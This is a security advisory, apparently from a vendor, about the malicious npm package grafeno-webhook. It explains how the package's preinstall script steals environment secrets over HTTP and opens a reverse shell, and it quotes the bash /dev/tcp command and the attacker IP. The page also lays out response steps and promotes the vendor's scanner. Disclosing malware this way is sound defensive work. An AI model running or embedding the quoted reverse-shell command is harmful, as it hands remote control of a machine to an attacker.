Malicious package

grafeno-webhooknpm

grafeno-webhook is a confirmed malicious npm package (MAL-2026-15573) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-webhook (npm)

Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall grafeno-webhook

What this malware does

The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i >& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-webhook (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-webhook across your stack and pipelines.

  2. If you installed it — respond

    grafeno-webhook is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If grafeno-webhook was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks grafeno-webhook before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions
